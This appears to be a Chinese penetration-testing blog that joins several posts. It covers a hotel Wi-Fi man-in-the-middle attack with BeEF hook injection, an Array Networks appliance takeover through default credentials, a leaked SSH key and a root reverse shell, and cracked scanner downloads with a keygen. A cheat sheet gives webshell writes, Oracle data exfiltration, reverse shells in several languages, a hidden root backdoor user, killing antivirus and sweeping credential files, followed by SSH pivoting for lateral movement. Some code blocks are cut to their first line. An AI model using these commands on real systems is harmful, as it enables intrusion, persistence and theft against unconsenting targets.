put it to your MSFPATH/modules/exploits/multi/http/
struts2_s2045_rce.rb:
1 | require 'msf/core' |
put it to your MSFPATH/modules/exploits/multi/http/
struts2_s2045_rce.rb:
1 | require 'msf/core' |
初学溢出,免不了要经历这一关。
闲话不多说,直接说方法。
Windows XP SP3
在Windows XP SP3中,关闭DEP的方法是:
编辑C:\boot.ini,你大概会看到如下内容
1 | [boot loader] |
要关闭DEP,将/noexecute=optin
改为/excute
,重启系统即可。
Windows 7
Windows7中不是通过boot.ini来保护了,需要在命令行中输入bcdedit,如果观察到输出的最后一项为nx 1
表示DEP保护是开启的,并且级别为1
只需要运行
1 | bcdedit /set nx alwaysoff |
就可以了,然后重启系统。
出差,晚上闲着无聊。
于是想撸一撸酒店的内网,但是之前已经撸过很长时间了,这个地方的重要系统都做了隔离,不好撸,所以就玩玩中间人攻击好了。
用的工具:
1 | OS Debian 8 |
先启动beef,直接在beef的目录下面./beef就运行了。
然后启动MITMF,进行中间人攻击,设置payload为beef的evil js
1 | python mitmf.py -i wlan0 --spoof --arp --gateway 192.168.64.254 --hsts --inject --js-url http://192.168.71.0:3000/hook.js |
然后就。。。
这是一个比较老的漏洞了,但是到目前为止仍然有不少厂商在使用这个版本的设备。在渗透中也曾经遇到过。
参考自:https://www.exploit-db.com/exploits/32369/
受影响的产品有:Array Networks vxAG 9.2.0.34 and vAPV 8.3.2.17 appliances
默认用户和密码
vxAG 9.2.0.34 和 vAPV 8.3.2.17 的/etc/master.passwd 文件中包含了默认用户和密码
1 | $ cat /etc/master.passwd |
破解之后可以得到下列用户和密码:
1 | 用户: mfg 密码: mfg |
test和root用户没破解出来。
其中sync用户默认可以远程登录:
1 | $ssh sync@192.168.2.55 /bin/sh |
SSH 私钥
sync 用户使用了位于 “~/.ssh/id_dsa” 的登录私钥:
1 | $ cat id_dsa |
下列文件位于 ~/.ssh 目录:
1 | $ cat authorized_keys |
如此一来就可以使用这个私钥进入系统:
将下面的id_dsa私钥保存在”synckey”文件中:
1 | cat > ~/synckey << EOF |
修改一下synckey文件的权限:
1 | chmod 600 ~/synckey |
使用该私钥登录系统:
1 | ssh -i ~/synckey sync@192.168.2.55 /bin/sh |
提权
/ca/bin/monitor.sh和 /ca/bin/debug_syn_stat默认是全局可写的 (权限为777).
在monitor.sh文件中写入脚本,通过debug monitor选项重新启动该脚本会以root权限运行。
使用sync用户运行/ca/bin/backend工具,使用如下方式重启debug monitor:
关闭debug monitor:
1 | /ca/bin/backend -c "debug monitor off"`echo -e "\0374"` |
开启debug monitor:
1 | /ca/bin/backend -c "debug monitor on"`echo -e "\0374"` |
在/ca/bin/monitor.sh中写入反弹shell的指令,通过上述操作,即可反弹回一个root shell.
距离上一篇文章已经过去很久了,今天想起来截了几张图,来继续巴拉巴拉AVWS这个神器的使用,作为续集吧。
http sniffer
先说说AVWS自带的http sniffer功能吧,大部分人一想起抓包,嗅探这些就会想到诸如burpsuite,fiddler之类,其实AWVS本身也是自带这个功能的,请看截图:
在这里可以看见它默认启动的是8080端口作为本地监听,浏览器只要配置好代理端口为8080,流量就会经过这里。
同时右键可以点击发送到http editor和http fuzzer,方便对捕捉到的数据包进一步操作。
http editor
经过http_sniffer捕捉到的数据包,可以直接send到http editor,也可以通过复制text格式的数据包内容复制进http editor中,使用http editor进行编辑和重放,如图:
这里可以编辑http包的各个部分,点击start即可发送。
http fuzzer
这个功能是我最喜欢的功能,比起burpsuite中的Intruder要方便的多。
如上图,在这个部分,可以添加fuzzer的generator,generator的类型可以在右边的选项中指定。
配置完成后插入数据包的任何位置,点击start即可开始fuzz,唯一的遗憾应该就是不能指定线程。
fuzz动作完成后,在result一栏即可看到fuzz之后的结果。
用这个功能,省去了很多时候需要写fuzz脚本的困扰,操作起来也比burpsuite要轻松许多。
authentication tester
这个功能看名字就知道,使用来测试认证的。其实就是一个登录爆破工具,可以爆破三种类型的认证,看图:
blind sql injector
这个功能也是相当有用的一个功能,它可以代理穿山甲,sqlmap等工具来测试SQL注入。
首先需要配置好注入测试的选项,主要是指定数据库类型等等。目前貌似只支持mssql和mysql两种类型,还是略显鸡肋。
配置好选项之后,切回HTTP Request选项卡,点击Default Value输入框右边加号在需要测试的位置加入标记,并输入一个默认值,即可开始注入测试。测试完成后即可在下方观测测试结果。
通过我的多次测试结果来看,测试还是比较准确的。AWVS自带的一千多条payload,基本涵盖了sql注入所需的常规输入。
compare results
这个功能用的不怎么多,是用来比较两次扫描的结果。
扫描完成后将扫描结果保存成wvs格式的报告,通过这个功能载入后即可快速的比对出两份报告的结果异同。
因为手头上没有现成的报告,就没有测试了。感兴趣的小伙伴可以自行利用。
神器的使用就先介绍到这里,如果后续还有更多使用经验的话我再来继续补充。
【原创内容,转载请注明来自Chorder’s Mainpage:https://www.chorder.net】
玩转AWVS(一):https://chorder.net/2015/12/02/玩转AWVS(一)/
玩转AWVS(二):https://chorder.net/2016/02/03/玩转AWVS(二)/
PHP相关
1 | <?php copy("http://x.x.x.x/shell.txt", "d:\www\shell.php"); ?> |
Mysql数据库
phpmyadmin爆路径
1 | http://url/phpMyAdmin/libraries/select_lang.lib.php |
SQL语句导出shell:
1 | select "<?php eval($_POST['1']);?>" into outfile 'C:\www\shell.php'; |
Redis数据库
写shell:
1 | config set dir D:\www |
Oracle数据库
查数据库ip
1 | select sys_context('userenv','ip_address') from dual |
通过外连回传数据
1 | SELECT UTL_HTTP.request('http://target.com/getdata?data='||TABLE_NAME) FROM USER_TABLES WHERE ROWNUM<=1 |
查询所有表
1 | SELECT * FROM ALL_TABLES |
查询当前用户表
1 | select table_name from user_tables; |
查询所有表按大小排序
1 | SELECT TABLE_NAME,NUM_ROWS FROM ALL_TABLES order by NUM_ROWS desc |
查询表前十条
1 | select * from users where rownum < 10 |
分页查询 2000000 到 4000000
1 | SELECT * FROM (SELECT e.*,ROWNUM rn FROM (select * from user ) e WHERE ROWNUM <= 4000000) WHERE rn > 2000000 |
查询当前编码
1 | select userenv('language') from dual; |
命令行执行
1 | export NLS_LANG="american_america.AL32UTF8" |
拖库脚本
JSP1
1 | <%@ page contentType="text/html;charset=UTF-8"%> |
JSP2
1 | <%@ page contentType="text/html;charset=UTF-8"%> |
ColdFusion
1 | <CFSET USERNAME="user"> |
反弹shell
bash
1 | bash -i >& /dev/tcp/1.1.1.1/1234 0>&1 |
1 | rm -f /tmp/p; mknod /tmp/p p && telnet 1.1.1.1 1234 0/tmp/p |
ruby
1 | ruby -rsocket -e'f=TCPSocket.open("1.1.1.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)' |
perl
1 | perl -e 'use Socket;$i="1.1.1.1"; |
python
1 | python -c 'import socket,subprocess,os; |
php
1 | php -r '$sock=fsockopen("1.1.1.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");' |
Windows取消共享文件夹安全警告
1 | @echo off |
kill安全狗3.x
1 | ntsd -c q -pn SafeDogGuardCenter.exe |
其他
python Simple HTTP服务:
1 | python -m SimpleHTTPServer |
Linux相关技巧
压缩目录
1 | zip -r root.zip /root/* |
添加用户并设置密码
1 | useradd -p `openssl passwd -1 -salt 'lsof' admin` -u 0 -o -g root -G root -s /bin/bash -d /usr/bin/lsof lsof |
收集所有.sh .pl .py .conf .cnf .ini .*history .pass (/usr/share目录里面的除外) 并打包成zip
1 | find / \! -path “/usr/share/*” -regex “.*\.sh$\|.*\.pl$\|.*\.py$\|.*\.conf$\|.*\.cnf$\|.*\.ini$\|.*\/\..*history$\|.*\/\..*pass.*” -print|zip pack.zip -@ |
array_push 后门
1 | array_map("ass\x65rt",(array)$_REQUEST['array']); |
AWVS,即 Acunetix Web Vulnerability Scanner,不知道作者是谁或者哪个团队,只知道他是老外搞出来的一款重型扫描器。
哥这一年接触的扫描器比较多,A厂B厂C厂的扫描器一堆,个人观点是web扫描器中AWVS并不是最优秀的。但是不得不说,AWVS一定是
最便携的扫描器之一,一个安装包即可搞定。
说到安装包,自然得提一下AWVS的安装。
那么国外的这款神器是不是收费的呢,答案当然是yes,虽然不要998,但是至少也应该够屌丝吃几顿早饭的了。
哥在写这篇文章的时候AWVS的最新版本是10.x
这里给个传送门,是H大的原帖地址,想了解相关内容的可以去看看此贴:
1 | http://www.52pojie.cn/thread-377625-1-1.html |
原帖里留下的百度网盘的下载地址:
1 | 链接:http://pan.baidu.com/s/1i3Br6ol 密码:u60f |
希望有幸下载到此款神器的小朋友也不要拿它去做伤天害理的事情。
哥一直是使用H大分享的地址里的安装包安装的,虽然也会被360报毒,不过一直很相信H大以及吾爱破解论坛里各位大牛们的人品,所以很坦然的装在了主机上。如果你是从别的地方下载的安装包,有没有被绑马我就不知道了。
下载之后先安装AWVS主程序,就是比较大的那个,会有个注册机藏在压缩包里,解压之后运行,在响起动人的超级玛丽音乐之后点击patch,即可完成注册。
这一切都是Hmily大牛的神作,10.x的注册机比9.x的注册机用户体验要好很多,这里再次向Hmily致敬。
说完了安装,接下来说说使用。
这是最基本的扫描界面,给个截图,自己体会
填上要扫描的站点地址,选择想要扫描的漏洞类型,或者默认的default是扫描全部的漏洞,接着start就可以了。
既然是玩转AWVS,那么常规的玩法自然就不提了,这里说一下除了基本扫描之外其他的功能。
1.带着cookies扫描
有时候我们需要带着Cookies扫描一下后台啊或者用户页面什么的,这个时候可以在
Scan Settings->Custom Cookies选项中添加我们需要携带的cookies,来对需要登录的页面进行扫描。
也可以在Scan Settings->Input Fields中添加我们需要用来登录的用户名和密码,但是这比指定cookies不爽的地方就是
遇到验证码就歇菜了,建议不同情况下区别对待。
2.站点爬虫
有的时候我们不是想扫描某个站点,只是想用爬虫爬出站点的基本结构,这时候就需要用Site Crwaler了
爬虫只对站点进行爬行,不进行漏洞扫描。
3.目标发现
渗透测试很苦逼有木有,资产清单里都是一个c一个c的列有木有
而目标发现,就是让我们探测ip段的
相当于一个端口扫描器了。
4.子域名检测
通常对一个目标进行渗透的时候,除了段与段之外,还有子域名,而AWVS这款神奇工具,也自带子域名探测功能
awvs的子域名探测是基于字典和枚举的,同时扫描时也可以指定用来检测解析的DNS服务器,有时候可以几个DNS服务器交换着
检测,以便更加准确的扫描出子域名。
5.将AWVS部署在web服务器中
有时候我们不想在本地进行扫描,太占带宽和cpu了,这时候可以把AWVS安装到windows服务器中,通过浏览器访问awvs的web服务
可以看见默认的端口是8183,有一些web接口认证相关的选项,可以为web接口设置一个密码,或者指定https选项等等
登录web接口之后的界面如下:
可以看见,通过web接口,一样可以发起扫描任务,指定扫描选项等等。
(原创内容,转载请注明出处:http://chorder.net/)
这篇文章就到此为止,下一篇再总体说一说http fuzzer,sniffer,editor,compare等功能。
【原创内容,转载请注明来自Chorder’s Mainpage:https://www.chorder.net】
玩转AWVS(一):https://chorder.net/2015/12/02/玩转AWVS(一)/
玩转AWVS(二):https://chorder.net/2016/02/03/玩转AWVS(二)/
对站点简单的做了一点SEO,把一些有用的网址记录一下。
http://tool.lusongsong.com/seo/seo.asp?url=chorder.net&page=60&auto=yes&ttime=30
http://www.seopk.net/?domain=chorder.net
http://seo.itzmx.com/
http://www.atool.org/extlink.php
其原理就是通过增加在站长工具,百度等搜索引擎内搜索相应的次数来提高SEO排名。
在很多时候拿到了内网的一台主机,我们需要用它做跳板来对内网进一步扩大战果。
也许方法很多,meterpreter,nc等等。但是最方便也最有可能穿透防火墙的方法,就是用ssh。
分为四种类型:
本地转发,远程转发,跳板转发,动态转发。
本地转发
假设攻击机A主机为本机,ip是y.y.y.y,用户是hacker,被攻击且用作跳板的主机是B,ip是
x.x.x.x,对应的内网ip是10.0.0.2,用户是root,ssh的端口是22。
假设B机器上的80端口开放了一个服务,但是只有B主机本机上才能访问,这时候可以使用本地转
发,在A机器上执行命令:
1 | ssh -L 8080:localhost:80 [email protected] |
这样,在本机A中访问localhost:80,数据被转发到B主机的80端口,即实现了访问B机器的本地
服务。
很常见的一个实例就是攻击者拿下了某目标内部的网关服务器,但是出于安全考虑网管的web控
制台界面只有在网关服务器自身上才能访问,这时候就可以通过这种方式转发流量,方便的操作
网关服务器的web控制台了。
上面的情况,是基于A主机可以ssh到B的情况,但假如从A到B的ssh连接被拒绝,而恰好B主机的
防火墙没有禁止其使用ssh外连,这时候就可以通过远程转发来实现上述同样的效果。
在B机器上执行命令:
1 | ssh -R 8080:localhost80 [email protected] |
这时候在A机器上访问自身的8080端口,数据也是被转发到了B主机的80端口上的。
可见,这种方式受到的局限比较多,因为如果能够在B主机上使用ssh外连了,还需要通过ssh来
转发流量的情况也是很少见的,但也不是没有。
以上两种转发,都是只对跳板服务器自身的服务,很多时候,渗透需要的是内网中一台稳定的跳板,
这时候就可以使用
跳板转发来实现多主机之间转发。
假设现在需要通过B主机作为跳板,来访问与B处于同一内网中的机器C的80端口,假设C的ip是
10.0.0.3,这时候可以在攻击机上执行如下命令:
1 | ssh -g -L 8080:10.0.0.3:80 [email protected] |
此时在A主机上8080端口的流量就被转发到C主机的80端口上了。
最有用的就是最后要介绍的,
动态转发,这种转发可以将流量随心所欲的转发,此时实现的效果就相当于代理服务器,在A机器
上用下面的命令实现:
1 | ssh -D 8080 [email protected] |
此时在A机器上配置SOCKS代理端口localhost:8080,就可以以B为代理服务器随心所欲的畅游。
最后补充使用ssh进行X转发的命令,其实很简单:
1 | ssh -X [email protected] |
这样连接上以后,目标机器的X服务器所做的操作都会通过x协议发送到本地,很方便的实现了可
视化操作。
例如在终端输入firefox,就可以在本地弹出一个实际上运行在远程的firefox进程。
Update your browser to view this website correctly. Update my browser now